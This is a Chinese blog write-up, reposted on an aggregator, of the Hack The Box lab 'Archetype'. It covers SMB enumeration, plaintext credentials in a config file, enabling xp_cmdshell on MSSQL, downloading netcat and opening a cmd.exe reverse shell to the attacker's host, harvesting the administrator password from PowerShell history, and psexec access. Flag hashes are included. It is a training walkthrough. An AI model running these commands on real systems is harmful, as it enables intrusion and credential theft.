Microsoft SQL Server中的错误配置

news2024/11/30 6:44:48
介绍

这篇文章将介绍如何利用Microsoft SQL Server中的错误配置,尝试获取反向shell并熟悉Impacket工具的使用,以便进一步攻击某些服务。

impacket的安装地址:https://github.com/SecureAuthCorp/impacket

Impacket是用于处理网络协议的Python类的集合。Impacket的重点是提供对数据包和某些协议(例如SMB1-3和MSRPC)的低级别编程访问,以及协议实现本身。包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层层次变得简单。

列举

执行网络扫描以检测哪些端口处于打开状态,这已经成为渗透测试过程的重要组成部分。因为这个能让我们更好地了解攻击面和目标的情况,让我们能够更好的进行针对性的攻击。

nmap -sC -sV 10.129.95.187

在这里插入图片描述

在这里插入图片描述

我们发现 SMB 端口已打开,并且 Microsoft SQL Server 2017 正在端口 1433 上运行。我们将使用工具smbclient 枚举 SMB:

smbclient -N -L \\\\10.129.95.187\\
-N:无密码
-L:此选项允许我们查看服务器上可用的服务

在这里插入图片描述

我们尝试进行访问

smbclient -N \\\\10.129.95.187\\backups

在这里插入图片描述

有一个名为prod.dtsConfig的文件,看起来像一个配置文件。我们可以使用get命令将其下载到我们的本地计算机进行进一步的脱机检查。

该文件将保存在我们启动的 SMB 会话目录中。以下是文件的内容:

cat prod.dtsConfig 

在这里插入图片描述

通过查看此配置文件的内容,我们在明文中发现了主机原型的用户sql_svc的密码,即M3g4c0rp123。使用提供的凭据,我们只需要一种方法来连接和验证 MSSQL 服务器。Impacket工具包括一个有价值的python脚本,称为mssqlclient.py它提供了这样的功能。

cd impacket/examples/
python3 mssqlclient.py -h

在这里插入图片描述

在这里插入图片描述

了解提供的选项后,我们可以尝试通过执行以下命令连接到 MSSQL 服务器:

-windows-auth:此标志被指定为使用Windows身份验证

python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.95.187 -windows-auth
M3g4c0rp123

在这里插入图片描述

ARCHETYPE/sql_svc一定是反斜杠,如果按照用户名的斜杆会出问题,报登录失败,多试几次反斜杠,会有正确的时候。

我们已成功通过微软 SQL Server 的身份验证

立足

连接成功后,我们进一步检查 SQL shell 的帮助选项:

help

在这里插入图片描述

帮助选项描述了它提供的基本功能,这意味着我们需要对此进行进一步的研究,以了解每个功能的内部工作原理。

这里有两篇很棒的文章,可以指导我们进一步探索MSSQL Server:

https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server

https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

作为第一步,我们需要检查我们在服务器中的角色是什么。我们将使用下述备忘单中的命令:

select is_srvrolemember('sysadmin');

在这里插入图片描述

输出为1,转换为True。

在之前的备忘单中,我们还发现了如何通过xp_cmdshell设置命令执行:

exec xp_cmdshell 'net user';— privOn MSSQL2005我们可能需要先重新激活xp_cmdshell,因为它默认处于禁用状态:

exec sp_configure 'show advanced options', 1;— 私人重新配置;— 私人

执行sp_configure'xp_cmdshell', 1;— 私人重新配置;— 私人

首先,建议通过发出第一个命令xp_cmdshell来检查是否已激活:

exec xp_cmdshell 'net user';

在这里插入图片描述

确实没有被激活。因此,我们需要按如下方式继续激活:

EXEC sp_configure 'show advanced options', 1;
reconfigure;
sp_configure;

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

在这里插入图片描述

最后,我们执行了以下命令

xp_cmdshell "whoami"

在这里插入图片描述

现在,我们将尝试获得一个稳定的反向外壳。我们将上传NC64.exe二进制到目标CMD.exe机器并执行

我们可以从kali上面下载二进制文件,在我们的侦听端口上处理。

我们导航到存放着nc.exe的文件夹,然后使用以下命令启动简单的 HTTP 服务器,然后在不同的选项卡中启动 netcat 侦听器:

python3 -m http.server 80

在这里插入图片描述

nc -lvnp 443

在这里插入图片描述

为了在目标系统中上传二进制文件,我们需要为此找到合适的文件夹。我们将PowerShell用于以下任务,因为它为我们提供了比常规命令更多的功能Powershell -c 命令。为了使用它,我们每次要执行它时都必须指定它,直到我们得到反向 shell。为此,我们将使用以下语法:

-c,该标志指示powershell执行命令。

我们将通过发布以下内容来打印当前工作目录:

xp_cmdshell "powershell -c pwd"

在这里插入图片描述

ifconfig

在这里插入图片描述

我们找到了放置二进制文件的文件夹。为此,我们将在powershell当中使用wget (wget实际上只是Invoke-WebRequest 的别名):

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.34/nc64.exe -outfile nc64.exe"

在这里插入图片描述

我们可以在简单的 Python HTTP 服务器上验证目标机器是否确实执行了请求:

在这里插入图片描述

现在,我们可以绑定cmd.exe通过nc去监听

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.34 443"

在这里插入图片描述

最后回顾一下我们的 netcat 侦听器,我们可以确认我们的反向 shell 和我们对系统的立足点:

在这里插入图片描述

user.txt可以在用户的桌面中找到:

在这里插入图片描述

type user.txt

在这里插入图片描述

3e7b102e78218e935bf3f4951fec21a3

权限提升

对于权限提升,我们将使用一个名为winPEAS的工具,它可以自动执行目标系统中大部分枚举过程。

https://www.freebuf.com/articles/web/281863.html,winpeas是windows提权工具,可以扫描windows服务器的漏洞。

我们将再次使用 Python HTTP 服务器将winpeas传输到我们的目标系统:

powershell
wget http://10.10.16.34/winPEASx64.exe -outfile winPEASx64.exe

在这里插入图片描述

在这里插入图片描述

我们成功下载了二进制文件。要执行它,我们将执行以下操作:

.\winPEASx64.exe

注意:该工具的输出很长,在这里我们只会看到输出的一小部分。

在这里插入图片描述

在这里插入图片描述

从输出中我们可以观察到我们拥有的SeImpersonatePrivilege(可以找到更多信息),这也容易受到Juicy Potato的影响。但是,我们可以首先检查可以找到凭据的两个现有文件。

由于这是一个普通用户帐户和服务帐户,因此值得检查频繁访问的文件或执行的命令。为此,我们将读取PowerShell历史记录文件,这相当于linux系统的.bash_history。该ConsoleHost_history.txt文件可以位于目录中C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\。

我们可以导航到存储PowerShell历史记录的文件夹:

cd AppData
cd Roaming\Microsoft\Windows\PowerShell\PSReadline\
dir

在这里插入图片描述

去阅读ConsoleHost_history.txt文件

type ConsoleHost_history.txt

在这里插入图片描述

user:administrator MEGACORP_4dm1n!!

我们以明文形式获得了管理员用户的密码,我们现在可以从Impacket套件中再次使用psexec.py工具以管理员身份获取shell:

psexec.py administrator@10.129.95.187
MEGACORP_4dm1n!!

在这里插入图片描述

现在可以在管理员用户的桌面上找到根标志:

在这里插入图片描述

b91ccec3305e98240082d4474b848528

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41274.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FPGA学习-vivado软件的使用

FPGA学习-vivado软件的使用1.杂谈2. vivado新建工程1.杂谈 又被封了7天。 正好封控前领导让我改下fpga代码,趁这个机会好好学习下,虽然在这块一片空白,但是毕竟这块是我的短板,一个不会写代码的硬件工程师是一个不完整的硬件工程…

无条码商品新建商品档案,搭配蓝牙便携打印机移动打印条码标签

null无条码商品的商品档案新建,并打印条码标签,即可实现仓库条码管理,扫码入库,出库,盘点等操作。, 视频播放量 1、弹幕量 0、点赞数 0、投硬币枚数 0、收藏人数 0、转发人数 0, 视频作者 汉码盘点机PDA, 作者简介 &am…

【WSN通信】A_Star改进LEACH多跳传输协议【含Matlab源码 487期】

⛄一、 A_Star改进LEACH多跳传输协议简介 1 理论基础 1.1 A*算法 A算法是一种智能搜索算法,他在求解问题时所得到的结果会选择所有路径中代价最小的节点。 A算法是一种基于启发式函数的算法,搜索过程如下:首先创建两个分别命名为open表和close表的表格,其中open表中存放还未访…

【Hack The Box】linux练习-- Doctor

HTB 学习笔记 【Hack The Box】linux练习-- Doctor 🔥系列专栏:Hack The Box 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📆首发时间:🌴2022年11月23日🌴 &#x1f3…

量子计算(九):复合系统与联合测量

文章目录 复合系统与联合测量 一、张量积 二、复合系统的状态演化 复合系统与联合测量 拥有两个或两个以上的量子比特的量子系统通常被称为复合系统(composite systems)。单量子比特系统的描述与测量已有所了解,那么多个量子比特的系统该如…

R语言基于ARMA-GARCH过程的VaR拟合和预测

本文展示了如何基于基础ARMA-GARCH过程(当然这也涉及广义上的QRM)来拟合和预测风险价值(Value-at-Risk,VaR)。 最近我们被客户要求撰写关于ARMA-GARCH的研究报告,包括一些图形和统计输出。 视频&#xff…

树莓派安装ubuntu系统

ubuntu镜像下载 官方地址:https://cn.ubuntu.com/download/raspberry-pi 清华镜像:https://mirrors.tuna.tsinghua.edu.cn/ubuntu-cdimage/ubuntu/releases/22.04.1/release/ 准备树莓派镜像工具(Raspberry Pi Imager) 下载地…

如何在 Spring Boot 中使用 JPA 和 JPQL 进行自定义查询示例

在本教程中,您将了解如何在 Spring Boot 示例中使用 Spring JPA Query进行自定义查询。我将向您展示: 使用JPQL(Java持久性查询语言)的方法如何在 Spring 引导中执行 SQL 查询具有 WHERE 条件的 JPA 选择查询示例内容 JPQL 与本机…

【408专项篇】C语言笔记-第七章(函数)

第一节:函数的声明与定定义 1. 函数的声明与定义 函数间的调用关系是:由主函数调用其他函数,其他函数也可以互相调用。同一个函数可以被一个或多个函数调用任意次。 #include "func.h"int main() {int a10;aprint_star(a);print_…

SPI和API还在傻傻分不清楚?

什么是SPI 介绍 再聊下一个类加载器框架OSGI之前,我们首先学习一下前驱知识SPI 全称:Service Provider Interface 区别于API模式,本质是一种服务接口规范定义权的转移,从服务提供者转移到服务消费者。 怎么理解呢&#xff1f…

JavaScript游戏开发(3)(笔记)

文章目录七、支持移动设备的横向卷轴游戏准备7.1 角色的简单移动7.2 背景7.3 加入敌人与帧数控制7.4 碰撞、计分、重新开始7.5 手机格式7.6 全屏模式7.7 存在的问题附录素材可以去一位大佬放在github的源码中直接下,见附录。 七、支持移动设备的横向卷轴游戏 使用…

手摸手使用IDEA创建多模块(maven)项目

有了前面两篇手摸手打底,相信大家对IDEA创建项目和配置使用maven已经没有什么问题了。那么这篇文章阅读起来也会非常流畅。 对于IDEA来说,可以用拼接模块(Module)并引用的方式来“搭”一个项目(Project)。…

【全志T113-S3_100ask】15-2 linux系统gpio模拟spi驱动屏幕——ILI9341

【全志T113-S3_100ask】15-2 linux系统gpio模拟spi驱动屏幕——ILI9341背景(一)查阅参考文档(二)使能内核模块(三)修改设备树(四)测试(五)后语背景 在上一小…

nginx的安装与nginx降权+匹配php

安装nginx: 安装的插件的作用: 1.gcc 可以编译 C,C,Ada,Object C和Java等语言(安装 nginx 需要先将官网下载的源码进行编译,编译依赖 gcc 环境) 2.pcre pcre-devel pcre是一个perl库,包括perl兼容的正则表达式库,ngin…

样本于抽样分布(1)-基本概念

从理论上讲,只要对随机现象进行足够多次的试验,被研究的随机现象的规律 性就能清楚地呈现出来. 但实际上,试验的次数只能是有限的,有时甚至是很少 的,因为采集某些数据时,常要将研究的对象破坏&…

【Gradle】四、使用Gradle创建SringBoot微服务项目

使用Gradle创建SringBoot微服务项目一、 创建Springboot项目0、阿里云脚手架创建项目1、引入 t springboot2 、引入依赖3、执行 geradle bootRun 指令4、spring-boot-gradle-plugin 插件‘二、多模块项目1、settings.gradle2、build.gradle3、version.gradle4、test_service的配…

图论:自反与对称

图论1.自反与反自反2.对称与反对称3.传递与非传递1.自反与反自反 自反:相同顶点都在集合内。 反自反:相同顶点都不在集合内。 参考下图:有三部分,红色的自反,蓝色的反自反,以及白色的都不是。 例1&#…

Animation

1、Animation窗口 Window——>Animation——>Animation Animation窗口 直译就是动画窗口,它主要用于在Unity内部创建和修改动画,所有在场景中的对象都可以通过Animation窗口为其制作动画 原理: 制作动画时:记录在固定时间…

[Linux]-----进程信号

文章目录前言一、什么是信号我们是如何得知这些信号呢?我们知道对应的信号产生时,要做什么呢?二、进程信号前台进程和后台进程注意三、信号列表信号的捕捉四、信号产生前用户层产生信号的方式signal函数killraiseabort由软件条件产生信号硬件…

【Java】才疏学浅·小石Java问道之路

大家好,这里是喜爱编程,又热爱生活的小石~———— ————个人情报昵称:小石(起源于姓氏啦~)破壳日:4月12日身高:1 m ↑技术基础:c node.js mysql 爱好:上网冲浪 听…